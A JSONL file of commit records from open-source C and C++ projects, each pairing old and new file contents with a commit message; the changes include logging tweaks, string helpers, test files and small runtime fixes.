{"commit":"93da664c36b47e478b7f52e1510a24d73f4f8d1d","old_file":"runtime\/src\/chplexit.c","new_file":"runtime\/src\/chplexit.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"chpl_rt_utils_static.h\"\n#include \"chpl-comm.h\"\n#include \"chplexit.h\"\n#include \"chpl-mem.h\"\n#include \"chplmemtrack.h\"\n#include \"chplrt.h\"\n#include \"gdb.h\"\n\n#undef exit\n\nstatic void chpl_exit_common(int status, int all) {\n  fflush(stdout);\n  fflush(stderr);\n  if (status != 0) {\n    gdbShouldBreakHere();\n  }\n  if (all) {\n    chpl_comm_barrier(\"chpl_comm_exit_all\");\n    chpl_comm_stopPollingTask();\n    chpl_task_exit();\n    chpl_reportMemInfo();\n    chpl_mem_exit();\n    chpl_comm_exit_all(status);\n  } else {\n    chpl_mem_exit();\n    chpl_comm_exit_any(status);\n  }\n  exit(status);\n}\n\n\nvoid chpl_exit_all(int status) {\n  chpl_exit_common(status, 1);\n}\n\n\nvoid chpl_exit_any(int status) {\n  chpl_exit_common(status, 0);\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"chpl_rt_utils_static.h\"\n#include \"chpl-comm.h\"\n#include \"chplexit.h\"\n#include \"chpl-mem.h\"\n#include \"chplmemtrack.h\"\n#include \"chplrt.h\"\n#include \"gdb.h\"\n\n#undef exit\n\nstatic void chpl_exit_common(int status, int all) {\n  fflush(stdout);\n  fflush(stderr);\n  if (status != 0) {\n    gdbShouldBreakHere();\n  }\n  if (all) {\n    chpl_comm_barrier(\"chpl_exit_common\");\n    chpl_comm_stopPollingTask();\n    chpl_task_exit();\n    chpl_reportMemInfo();\n    chpl_mem_exit();\n    chpl_comm_exit_all(status);\n  } else {\n    chpl_mem_exit();\n    chpl_comm_exit_any(status);\n  }\n  exit(status);\n}\n\n\nvoid chpl_exit_all(int status) {\n  chpl_exit_common(status, 1);\n}\n\n\nvoid chpl_exit_any(int status) {\n  chpl_exit_common(status, 0);\n}\n","subject":"Clarify the debug message that may be generated by the chpl_comm_barrier() call in chpl_exit_common().","message":"Clarify the debug message that may be generated by the\nchpl_comm_barrier() call in chpl_exit_common().\n\n\ngit-svn-id: 88467cb1fb04b8a755be7e1ee1026be4190196ef@19217 3a8e244f-b0f2-452b-bcba-4c88e055c3ca\n","lang":"C","license":"apache-2.0","repos":"chizarlicious\/chapel,hildeth\/chapel,chizarlicious\/chapel,sungeunchoi\/chapel,sungeunchoi\/chapel,hildeth\/chapel,CoryMcCartan\/chapel,sungeunchoi\/chapel,chizarlicious\/chapel,CoryMcCartan\/chapel,hildeth\/chapel,hildeth\/chapel,chizarlicious\/chapel,chizarlicious\/chapel,CoryMcCartan\/chapel,sungeunchoi\/chapel,sungeunchoi\/chapel,sungeunchoi\/chapel,chizarlicious\/chapel,CoryMcCartan\/chapel,hildeth\/chapel,CoryMcCartan\/chapel,hildeth\/chapel,CoryMcCartan\/chapel,sungeunchoi\/chapel,chizarlicious\/chapel,CoryMcCartan\/chapel,hildeth\/chapel,sungeunchoi\/chapel"}
{"commit":"31555bbf1bd79b4e8ea404c719c1441123ecbb04","old_file":"src\/SenseKit\/Logging.h","new_file":"src\/SenseKit\/Logging.h","old_contents":"#ifndef LOGGING_H\n#define LOGGING_H\n\n#ifndef __ANDROID__\n#define ELPP_STACKTRACE_ON_CRASH\n#endif\n\n#define ELPP_NO_DEFAULT_LOG_FILE\n\n#include \"vendor\/easylogging++.h\"\n\n#define INITIALIZE_LOGGING INITIALIZE_EASYLOGGINGPP\n\nnamespace sensekit {\n    void initialize_logging(const char* logFilePath);\n}\n\n#endif \/* LOGGING_H *\/\n","new_contents":"#ifndef LOGGING_H\n#define LOGGING_H\n\n#ifdef __ANDROID__\n#define ELPP_DISABLE_DEFAULT_CRASH_HANDLING\n#else \/\/ not android\n#define ELPP_STACKTRACE_ON_CRASH\n#endif\n\n#define ELPP_NO_DEFAULT_LOG_FILE\n\n#include \"vendor\/easylogging++.h\"\n\n#define INITIALIZE_LOGGING INITIALIZE_EASYLOGGINGPP\n\nnamespace sensekit {\n    void initialize_logging(const char* logFilePath);\n}\n\n#endif \/* LOGGING_H *\/\n","subject":"Disable logger crash handling on Android","message":"Disable logger crash handling on Android\n","lang":"C","license":"apache-2.0","repos":"orbbec\/astra,orbbec\/astra,orbbec\/astra,orbbec\/astra,orbbec\/astra"}
{"commit":"c1028e5d6d7a039b3499f2d63f7242943331ac74","old_file":"tests\/test_stack_using_array.c","new_file":"tests\/test_stack_using_array.c","old_contents":"","new_contents":"#include <check.h>\n#include \"..\/src\/stack_using_array\/stack.h\"\n\nstack st;\n\nvoid setup() {\n    init(&st);\n}\n\nvoid teardown() {\n}\n\nSTART_TEST( test_push_pop_normal_ops )\n{\n    push( &st, 10 );\n    push( &st, 12 );\n    ck_assert_int_eq( pop( &st ), 12 );\n    ck_assert_int_eq( pop( &st ), 10 );\n}\nEND_TEST\n\nSTART_TEST( test_pop_underflow )\n{\n    push( &st, 12 );\n    ck_assert_int_eq( pop( &st ), 12 );\n    ck_assert_int_eq( pop( &st ), -2 );\n}\nEND_TEST\n\nSTART_TEST( test_push_overflow )\n{\n    push( &st, 2 );\n    push( &st, 3 );\n    push( &st, 4 );\n    push( &st, 5 );\n    push( &st, 6 );\n    ck_assert_int_eq( push( &st, 7 ), -3 );\n}\nEND_TEST\n\nSTART_TEST( test_null_pointer )\n{\n    ck_assert_int_eq( init( NULL ), -1 );\n    ck_assert_int_eq( push( NULL, 10 ), -1 );\n    ck_assert_int_eq( pop( NULL ), -1 );\n    ck_assert_int_eq( peek( NULL ), -1 );\n}\nEND_TEST\n\nSuite * stack_suite(void)\n{\n    Suite *s;\n    TCase *tc_core, *tc_abnormal;\n\n    s = suite_create(\"Stack\");\n\n    \/* Core test case *\/\n    tc_core = tcase_create(\"Core\");\n    \/* Abnormal test case *\/\n    tc_abnormal = tcase_create(\"Abnormal\");\n\n    tcase_add_checked_fixture(tc_core, setup, teardown);\n    tcase_add_checked_fixture(tc_abnormal, setup, teardown);\n    tcase_add_test(tc_core, test_push_pop_normal_ops);\n    tcase_add_test(tc_abnormal, test_push_overflow);\n    tcase_add_test(tc_abnormal, test_pop_underflow);\n    tcase_add_test(tc_abnormal, test_null_pointer);\n    suite_add_tcase(s, tc_core);\n    suite_add_tcase(s, tc_abnormal);\n\n    return s;\n}\n\nint main()\n{\n    int number_failed;\n    Suite *s;\n    SRunner *sr;\n\n    s = stack_suite();\n    sr = srunner_create(s);\n\n    srunner_run_all(sr, CK_NORMAL);\n    number_failed = srunner_ntests_failed(sr);\n    srunner_free(sr);\n    return (number_failed == 0) ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n","subject":"Test for stack using array","message":"Test for stack using array\n","lang":"C","license":"mit","repos":"TejasR\/data-structures-in-c,TejasR\/data-structures-in-c"}
{"commit":"11beae99eafcb134fa72ec4a952a1d0dc07203d1","old_file":"src\/log_queue.h","new_file":"src\/log_queue.h","old_contents":"#pragma once\n\n#include <cstddef>\n#include <condition_variable>\n#include <mutex>\n#include <queue>\n\nnamespace log {\n\ntemplate<typename T>\nclass LogQueue final {\npublic:\n    explicit LogQueue(size_t capacity) : m_capacity(capacity) {}\n    ~LogQueue() = default;\n    LogQueue(const LogQueue&) = delete;\n    LogQueue& operator=(const LogQueue&) = delete;\n\n    void Push(T&& element) {\n        std::unique_lock<std::mutex> lock(m_mutex);\n        while (m_queue.size() + 1 > m_capacity) { \/\/ is full\n            m_notfull.wait(lock);\n        }\n        m_queue.push(std::move(element));\n        m_notempty.notify_one();\n    }\n\n    void Pop(T* element) {\n        std::unique_lock<std::mutex> lock(m_mutex);\n        while (m_queue.empty()) { \/\/ is empty\n            m_notempty.wait(lock);\n        }\n        if (element != nullptr) {\n            *element = std::move(m_queue.front());\n        }\n        m_queue.pop();\n        m_notfull.notify_one();\n    }\n\nprivate:\n    const size_t m_capacity;\n    std::queue<T> m_queue;\n    std::mutex m_mutex;\n    std::condition_variable m_notfull;\n    std::condition_variable m_notempty;\n};\n\n} \/\/ namespace log\n","new_contents":"#pragma once\n\n#include <cstddef>\n#include <condition_variable>\n#include <mutex>\n#include <queue>\n\nnamespace log {\n\ntemplate<typename T>\nclass LogQueue final {\npublic:\n    explicit LogQueue(size_t capacity) : m_capacity(capacity) {}\n    ~LogQueue() = default;\n    LogQueue(const LogQueue&) = delete;\n    LogQueue& operator=(const LogQueue&) = delete;\n\n    void Push(T&& element) {\n        std::unique_lock<std::mutex> lock(m_mutex);\n        while (isFull()) {\n            m_notfull.wait(lock);\n        }\n        bool wasEmpty = isEmpty();\n        m_queue.push(std::move(element));\n        if (wasEmpty) {\n            m_notempty.notify_one();\n        }\n    }\n\n    void Pop(T* element) {\n        std::unique_lock<std::mutex> lock(m_mutex);\n        while (isEmpty()) {\n            m_notempty.wait(lock);\n        }\n        bool wasFull = isFull();\n        if (element != nullptr) {\n            *element = std::move(m_queue.front());\n        }\n        m_queue.pop();\n        if (wasFull) {\n            m_notfull.notify_one();\n        }\n    }\n\nprivate:\n    const size_t m_capacity;\n    std::queue<T> m_queue;\n    std::mutex m_mutex;\n    std::condition_variable m_notfull;\n    std::condition_variable m_notempty;\n\n    bool isEmpty() {\n        return m_queue.empty();\n    }\n\n    bool isFull() {\n        return m_queue.size() + 1 > m_capacity;\n    }\n};\n\n} \/\/ namespace log\n","subject":"Decrease the number of notify_one calls","message":"optimize: Decrease the number of notify_one calls\n","lang":"C","license":"mit","repos":"yksz\/cpp-logger,yksz\/cpp-logger"}
{"commit":"a21cdb843767cc21a1b371105883c735784c8793","old_file":"include\/asm-generic\/string.h","new_file":"include\/asm-generic\/string.h","old_contents":"#ifndef __CR_ASM_GENERIC_STRING_H__\n#define __CR_ASM_GENERIC_STRING_H__\n\n#include \"compiler.h\"\n\n#ifndef HAS_BUILTIN_MEMCPY\nstatic always_inline void *builtin_memcpy(void *to, const void *from, unsigned int n)\n{\n\tint i;\n\tunsigned char *cto = to;\n\tconst unsigned char *cfrom = from;\n\n\tfor (i = 0; i < n; ++i, ++cto, ++cfrom) {\n\t\t*cto = *cfrom;\n\t}\n\n\treturn to;\n}\n#endif\n\n#endif \/* __CR_ASM_GENERIC_STRING_H__ *\/\n","new_contents":"#ifndef __CR_ASM_GENERIC_STRING_H__\n#define __CR_ASM_GENERIC_STRING_H__\n\n#include \"compiler.h\"\n\n#ifndef HAS_BUILTIN_MEMCPY\nstatic always_inline void *builtin_memcpy(void *to, const void *from, unsigned int n)\n{\n\tint i;\n\tunsigned char *cto = to;\n\tconst unsigned char *cfrom = from;\n\n\tfor (i = 0; i < n; ++i, ++cto, ++cfrom) {\n\t\t*cto = *cfrom;\n\t}\n\n\treturn to;\n}\n#endif\n\n#ifndef HAS_BUILTIN_MEMCMP\nstatic always_inline int builtin_memcmp(const void *cs, const void *ct, size_t count)\n{\n\tconst unsigned char *su1, *su2;\n\tint res = 0;\n\n\tfor (su1 = cs, su2 = ct; 0 < count; ++su1, ++su2, count--)\n\t\tif ((res = *su1 - *su2) != 0)\n\t\t\tbreak;\n\treturn res;\n}\n#endif\n\n#ifndef HAS_BUILTIN_STRCMP\nstatic always_inline int builtin_strcmp(const char *cs, const char *ct)\n{\n\tunsigned char c1, c2;\n\n\twhile (1) {\n\t\tc1 = *cs++;\n\t\tc2 = *ct++;\n\t\tif (c1 != c2)\n\t\t\treturn c1 < c2 ? -1 : 1;\n\t\tif (!c1)\n\t\t\tbreak;\n\t}\n\treturn 0;\n}\n#endif\n\n#endif \/* __CR_ASM_GENERIC_STRING_H__ *\/\n","subject":"Add builtin_memcpy, builtin_memcmp generic helpers","message":"asm: Add builtin_memcpy, builtin_memcmp generic helpers\n\nWill need them in pie code soon.\n\nSigned-off-by: Cyrill Gorcunov <7a1ea01eee6961eb1e372e3508c2670446d086f4@openvz.org>\nSigned-off-by: Pavel Emelyanov <c9a32589e048e044184536f7ac71ef92fe82df3e@parallels.com>\n","lang":"C","license":"lgpl-2.1","repos":"efiop\/criu,biddyweb\/criu,svloyso\/criu,efiop\/criu,KKoukiou\/criu-remote,KKoukiou\/criu-remote,marcosnils\/criu,kawamuray\/criu,ldu4\/criu,eabatalov\/criu,efiop\/criu,gablg1\/criu,eabatalov\/criu,AuthenticEshkinKot\/criu,rentzsch\/criu,svloyso\/criu,svloyso\/criu,wtf42\/criu,ldu4\/criu,biddyweb\/criu,eabatalov\/criu,AuthenticEshkinKot\/criu,LK4D4\/criu,eabatalov\/criu,sdgdsffdsfff\/criu,fbocharov\/criu,tych0\/criu,KKoukiou\/criu-remote,sdgdsffdsfff\/criu,tych0\/criu,gonkulator\/criu,tych0\/criu,kawamuray\/criu,LK4D4\/criu,kawamuray\/criu,gonkulator\/criu,marcosnils\/criu,rentzsch\/criu,LK4D4\/criu,kawamuray\/criu,LK4D4\/criu,sdgdsffdsfff\/criu,marcosnils\/criu,gablg1\/criu,efiop\/criu,ldu4\/criu,KKoukiou\/criu-remote,biddyweb\/criu,sdgdsffdsfff\/criu,rentzsch\/criu,rentzsch\/criu,svloyso\/criu,tych0\/criu,gonkulator\/criu,LK4D4\/criu,KKoukiou\/criu-remote,AuthenticEshkinKot\/criu,sdgdsffdsfff\/criu,AuthenticEshkinKot\/criu,wtf42\/criu,LK4D4\/criu,kawamuray\/criu,gonkulator\/criu,AuthenticEshkinKot\/criu,ldu4\/criu,gonkulator\/criu,gablg1\/criu,gonkulator\/criu,eabatalov\/criu,kawamuray\/criu,wtf42\/criu,gablg1\/criu,gablg1\/criu,marcosnils\/criu,fbocharov\/criu,biddyweb\/criu,biddyweb\/criu,marcosnils\/criu,rentzsch\/criu,fbocharov\/criu,wtf42\/criu,wtf42\/criu,efiop\/criu,svloyso\/criu,gablg1\/criu,wtf42\/criu,KKoukiou\/criu-remote,AuthenticEshkinKot\/criu,ldu4\/criu,rentzsch\/criu,tych0\/criu,efiop\/criu,biddyweb\/criu,fbocharov\/criu,sdgdsffdsfff\/criu,ldu4\/criu,fbocharov\/criu,marcosnils\/criu,svloyso\/criu,tych0\/criu,fbocharov\/criu,eabatalov\/criu"}
{"commit":"cf3241c5db6a161453b0127499b2c30c1ee9bd02","old_file":"cpu\/native\/dev\/uart1.h","new_file":"cpu\/native\/dev\/uart1.h","old_contents":"","new_contents":"\/*\n  Copied from mc1322x\/dev\/cpu. \n  \n  This file exists as a work-around for the hardware dependant calls\n  to slip_arch_init.\n\n  Current the prototype for slip_arch_init is slip_arch_init(urb)\n\n  and a typical call is something like\n  slip_arch_init(BAUD2URB(115200))\n\n  BAUD2UBR is hardware specific, however. Furthermore, for the sky\n  platform it's typically defined with #include \"dev\/uart1.h\" (see\n  rpl-boarder-router\/slip-bridge.c), a sky specific file. dev\/uart1.h\n  includes msp430.h which includes the sky contiki-conf.h which\n  defines BAUD2UBR.\n\n  To me, the correct think to pass is simply the baudrate and have the\n  hardware specific conversion happen inside slip_arch_init. \n\n  Notably, most implementations just ignore the passed parameter\n  anyway. (except AVR)\n  \n *\/\n\n#ifndef DEV_UART1_H\n#define DEV_UART1_H\n\n#define BAUD2UBR(x) x\n\n#endif\n","subject":"Add file needed for rpl border router","message":"Add file needed for rpl border router\n","lang":"C","license":"bsd-3-clause","repos":"MohamedSeliem\/contiki,arurke\/contiki,bluerover\/6lbr,arurke\/contiki,bluerover\/6lbr,MohamedSeliem\/contiki,MohamedSeliem\/contiki,MohamedSeliem\/contiki,MohamedSeliem\/contiki,arurke\/contiki,MohamedSeliem\/contiki,arurke\/contiki,MohamedSeliem\/contiki,arurke\/contiki,arurke\/contiki,bluerover\/6lbr,bluerover\/6lbr,bluerover\/6lbr,arurke\/contiki,bluerover\/6lbr,bluerover\/6lbr"}
{"commit":"08d9391c8f90f0c5c997bd3ab41517774dd582f3","old_file":"src\/dtkComposer\/dtkComposerSceneNodeLeaf.h","new_file":"src\/dtkComposer\/dtkComposerSceneNodeLeaf.h","old_contents":"\/* dtkComposerSceneNodeLeaf.h --- \n * \n * Author: Julien Wintz\n * Copyright (C) 2008-2011 - Julien Wintz, Inria.\n * Created: Fri Feb  3 12:34:45 2012 (+0100)\n * Version: $Id$\n * Last-Updated: Thu Feb 16 14:47:09 2012 (+0100)\n *           By: Julien Wintz\n *     Update #: 10\n *\/\n\n\/* Commentary: \n * \n *\/\n\n\/* Change log:\n * \n *\/\n\n#ifndef DTKCOMPOSERSCENENODELEAF_H\n#define DTKCOMPOSERSCENENODELEAF_H\n\n#include \"dtkComposerSceneNode.h\"\n\nclass dtkComposerNode;\nclass dtkComposerSceneNodeLeafPrivate;\n\nclass dtkComposerSceneNodeLeaf : public dtkComposerSceneNode\n{\npublic:\n     dtkComposerSceneNodeLeaf(void);\n    ~dtkComposerSceneNodeLeaf(void);\n\npublic:\n    void wrap(dtkComposerNode *node);\n\npublic:\n    void layout(void);\n\npublic:\n    void resize(qreal width, qreal height);\n\npublic:\n    QRectF boundingRect(void) const;\n\npublic:\n    void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0);\n\nprivate:\n    dtkComposerSceneNodeLeafPrivate *d;\n};\n\n#endif\n","new_contents":"\/* dtkComposerSceneNodeLeaf.h --- \n * \n * Author: Julien Wintz\n * Copyright (C) 2008-2011 - Julien Wintz, Inria.\n * Created: Fri Feb  3 12:34:45 2012 (+0100)\n * Version: $Id$\n * Last-Updated: Thu May 31 09:45:52 2012 (+0200)\n *           By: tkloczko\n *     Update #: 11\n *\/\n\n\/* Commentary: \n * \n *\/\n\n\/* Change log:\n * \n *\/\n\n#ifndef DTKCOMPOSERSCENENODELEAF_H\n#define DTKCOMPOSERSCENENODELEAF_H\n\n#include \"dtkComposerExport.h\"\n\n#include \"dtkComposerSceneNode.h\"\n\nclass dtkComposerNode;\nclass dtkComposerSceneNodeLeafPrivate;\n\nclass DTKCOMPOSER_EXPORT dtkComposerSceneNodeLeaf : public dtkComposerSceneNode\n{\npublic:\n     dtkComposerSceneNodeLeaf(void);\n    ~dtkComposerSceneNodeLeaf(void);\n\npublic:\n    void wrap(dtkComposerNode *node);\n\npublic:\n    void layout(void);\n\npublic:\n    void resize(qreal width, qreal height);\n\npublic:\n    QRectF boundingRect(void) const;\n\npublic:\n    void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0);\n\nprivate:\n    dtkComposerSceneNodeLeafPrivate *d;\n};\n\n#endif\n","subject":"Add export rules for scene node leaf.","message":"Add export rules for scene node leaf.\n","lang":"C","license":"bsd-3-clause","repos":"d-tk\/dtk,d-tk\/dtk,NicolasSchnitzler\/dtk,rdebroiz\/dtk,d-tk\/dtk,rdebroiz\/dtk,rdebroiz\/dtk,d-tk\/dtk,rdebroiz\/dtk,d-tk\/dtk,NicolasSchnitzler\/dtk,NicolasSchnitzler\/dtk,NicolasSchnitzler\/dtk,d-tk\/dtk"}
{"commit":"8bcfa4182e71abb82bc7b45b91b61c5a6e431923","old_file":"src\/password.c","new_file":"src\/password.c","old_contents":"\n#include <string.h>\n#include <openssl\/sha.h>\n#include \"password.h\"\n\nvoid key_from_password(const char *a_password, char *a_key)\n{\n\tunsigned char digest[256 \/ 8] = {0};\t\/\/ SHA 256 uses 256\/8 bytes.\n\tint i;\n\n\tSHA256((const unsigned char *)a_password, strlen(a_password), digest);\n\tfor (i = 0; i < 40872; i++) {\n\t\tSHA256(digest, 32, digest);\n\t}\n\n\tmemcpy(a_key, digest, sizeof(digest));\n}\n\nvoid key_hash(const char *a_key, char *a_hash)\n{\n\tunsigned char digest[256 \/ 8];\n\tint i;\n\n\tmemcpy(digest, a_key, sizeof(digest));\n\tfor (i = 0; i < 30752; i++) {\n\t\tSHA256(digest, 32, digest);\n\t}\n\n\tmemcpy(a_hash, digest, sizeof(digest));\n}\n","new_contents":"\n#include <string.h>\n#include <openssl\/sha.h>\n#include \"password.h\"\n\nvoid key_from_password(const char *a_password, char *a_key)\n{\n    unsigned char digest[256 \/ 8] = {0};\t\/\/ SHA 256 uses 256\/8 bytes.\n    int i;\n\n    SHA256((const unsigned char *)a_password, strlen(a_password), digest);\n    for (i = 0; i < 40872; i++) {\n        SHA256(digest, 32, digest);\n    }\n\n    memcpy(a_key, digest, sizeof(digest));\n}\n\nvoid key_hash(const char *a_key, char *a_hash)\n{\n    unsigned char digest[256 \/ 8];\n    int i;\n\n    memcpy(digest, a_key, sizeof(digest));\n    for (i = 0; i < 30752; i++) {\n        SHA256(digest, 32, digest);\n    }\n\n    memcpy(a_hash, digest, sizeof(digest));\n}\n","subject":"Convert tabs to spaces and indent","message":"Convert tabs to spaces and indent\n","lang":"C","license":"mit","repos":"falsovsky\/FiSH-irssi"}
{"commit":"8c57d9ca2da9eb7d35c0b1e41e67477449ba34e0","old_file":"src\/win32\/random_win.c","new_file":"src\/win32\/random_win.c","old_contents":"","new_contents":"\/*\n*The MIT License (MIT)\n*\n* Copyright (c) <2017> <Stephan Gatzka>\n*\n* Permission is hereby granted, free of charge, to any person obtaining\n* a copy of this software and associated documentation files (the\n* \"Software\"), to deal in the Software without restriction, including\n* without limitation the rights to use, copy, modify, merge, publish,\n* distribute, sublicense, and\/or sell copies of the Software, and to\n* permit persons to whom the Software is furnished to do so, subject to\n* the following conditions:\n*\n* The above copyright notice and this permission notice shall be\n* included in all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n* BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n* SOFTWARE.\n*\/\n\n#include <stddef.h>\n#include <Windows.h>\n#include <Wincrypt.h>\n\n#include \"jet_random.h\"\n\nvoid cjet_get_random_bytes(void *bytes, size_t num_bytes)\n{\n\tHCRYPTPROV hCryptProv = 0;\n\tCryptGenRandom(hCryptProv, (DWORD)num_bytes, bytes);\n}","subject":"Add stub for windows random implementation.","message":"Add stub for windows random implementation.\n","lang":"C","license":"mit","repos":"gatzka\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,mloy\/cjet"}
{"commit":"18d9964f98298e426a488c00300834cc5441ee1b","old_file":"src\/framework\/cmd\/core.c","new_file":"src\/framework\/cmd\/core.c","old_contents":"\/**\n * @file\n * @brief Command registry and invocation code.\n *\n * @date 01.03.11\n * @author Eldar Abusalimov\n *\/\n\n#include <framework\/cmd\/api.h>\n#include <framework\/cmd\/types.h>\n\n#include <ctype.h>\n#include <stddef.h>\n#include <errno.h>\n#include <string.h>\n\n#include <util\/array.h>\n#include <util\/getopt.h>\n\nARRAY_SPREAD_DEF(const struct cmd * const, __cmd_registry);\n\nint cmd_exec(const struct cmd *cmd, int argc, char **argv) {\n\tint err;\n\n\tif (!cmd)\n\t\treturn -EINVAL;\n\n\terr = mod_activate_app(cmd2mod(cmd));\n\tif (err)\n\t\treturn err;\n\n\tgetopt_init();\n\n\treturn cmd->exec(argc, argv);\n}\n\nconst struct cmd *cmd_lookup(const char *name) {\n\tconst struct cmd *cmd = NULL;\n\n\tif (!strncmp(name, \"\/bin\/\", strlen(\"\/bin\/\"))) {\n\t\tname += strlen(\"\/bin\/\");\n\t}\n\n\tcmd_foreach(cmd) {\n\t\tif (strcmp(cmd_name(cmd), name) == 0) {\n\t\t\treturn cmd;\n\t\t}\n\t}\n\n\treturn NULL;\n}\n\n","new_contents":"\/**\n * @file\n * @brief Command registry and invocation code.\n *\n * @date 01.03.11\n * @author Eldar Abusalimov\n *\/\n\n#include <framework\/cmd\/api.h>\n#include <framework\/cmd\/types.h>\n\n#include <ctype.h>\n#include <stddef.h>\n#include <errno.h>\n#include <string.h>\n\n#include <util\/array.h>\n#include <util\/getopt.h>\n\nARRAY_SPREAD_DEF(const struct cmd * const, __cmd_registry);\n\nint cmd_exec(const struct cmd *cmd, int argc, char **argv) {\n\tint err;\n\n\tif (!cmd)\n\t\treturn -EINVAL;\n\n\terr = mod_activate_app(cmd2mod(cmd));\n\tif (err)\n\t\treturn err;\n\n\tgetopt_init();\n\n\terr = cmd->exec(argc, argv);\n\n\t\/* FIXME Here we make app's data and bss as they was\n\t * before app execution. It's required because we call all\n\t * C++ ctors on every app launch. When we will call only ctors\n\t * of the running app, this workaround can be removed. *\/\n\tmod_activate_app(cmd2mod(cmd));\n\n\treturn err;\n}\n\nconst struct cmd *cmd_lookup(const char *name) {\n\tconst struct cmd *cmd = NULL;\n\n\tif (!strncmp(name, \"\/bin\/\", strlen(\"\/bin\/\"))) {\n\t\tname += strlen(\"\/bin\/\");\n\t}\n\n\tcmd_foreach(cmd) {\n\t\tif (strcmp(cmd_name(cmd), name) == 0) {\n\t\t\treturn cmd;\n\t\t}\n\t}\n\n\treturn NULL;\n}\n\n","subject":"Fix running of c++ apps when there are multiple apps in mods.conf","message":"Fix running of c++ apps when there are multiple apps in mods.conf\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"}
{"commit":"429be9362d598d3b7b3ea6e19b1be2dca867aa0a","old_file":"test\/tools\/llvm-symbolizer\/print_context.c","new_file":"test\/tools\/llvm-symbolizer\/print_context.c","old_contents":"\/\/ REQUIRES: x86_64-linux\n\/\/ RUN: %host_cc -O0 -g %s -o %t 2>&1\n\/\/ RUN: %t 2>&1 | llvm-symbolizer -print-source-context-lines=5 -obj=%t | FileCheck %s\n\n#include <stdio.h>\n\nint inc(int a) {\n  return a + 1;\n}\n\nint main() {\n  printf(\"%p\\n\", inc);\n  return 0;\n}\n\n\/\/ CHECK: inc\n\/\/ CHECK: print_context.c:7\n\/\/ CHECK: 5  : #include\n\/\/ CHECK: 6  :\n\/\/ CHECK: 7 >: int inc\n\/\/ CHECK: 8  :   return\n\/\/ CHECK: 9  : }\n","new_contents":"\/\/ REQUIRES: x86_64-linux\n\/\/ RUN: %host_cc -O0 -g %s -o %t 2>&1\n\/\/ RUN: %t 2>&1 | llvm-symbolizer -print-source-context-lines=5 -obj=%t | FileCheck %s\n\n\/\/ CHECK: inc\n\/\/ CHECK: print_context.c:[[@LINE+9]]\n\/\/ CHECK: [[@LINE+6]]  : #include\n\/\/ CHECK: [[@LINE+6]]  :\n\/\/ CHECK: [[@LINE+6]] >: int inc\n\/\/ CHECK: [[@LINE+6]]  :   return\n\/\/ CHECK: [[@LINE+6]]  : }\n\n#include <stdio.h>\n\nint inc(int a) {\n  return a + 1;\n}\n\nint main() {\n  printf(\"%p\\n\", inc);\n  return 0;\n}\n\n","subject":"Make test robust to changes in prefix\/avoid hardcoded line numbers","message":"Make test robust to changes in prefix\/avoid hardcoded line numbers\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@309516 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm"}
{"commit":"a35e09994e5ffe1fb364bb69860056be5c89efea","old_file":"testcode\/typedef_in_header_file_main.c","new_file":"testcode\/typedef_in_header_file_main.c","old_contents":"","new_contents":"\/* \n* Three files to show how to put a typedef struct and \n*   functions into a header file.\n*\n* Copyright 2017 Dave Cuthbert, MIT license \n*\/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include \"typedef_in_header_file.h\"\n\n\nint main(int argc, char *argv[])\n{\n    Node *root;\n    root = new_node();\n    root->value = 1;  \n\n    printf(\"ROOT: %d\\n\", root->value);\n    \n    Node *node_ptr = new_node();\n    node_ptr = root;\n    \n    printf(\"NODE PTR: %d\\n\", root->value);\n\n     \n    \/* Add another node *\/\n    node_ptr->next = new_node();\n\n    \/* Move forward to new node *\/\n    node_ptr = node_ptr->next;\n    node_ptr->next = 0;\n    node_ptr->value = 2;\n    printf(\"NEW NODE: %d\\n\", node_ptr->value);\n    \n    return 0;\n}\n","subject":"Add typdef in header main()","message":"Add typdef in header main()","lang":"C","license":"mit","repos":"daveinnyc\/various,daveinnyc\/various,daveinnyc\/various,daveinnyc\/various,daveinnyc\/various,daveinnyc\/various,daveinnyc\/various"}
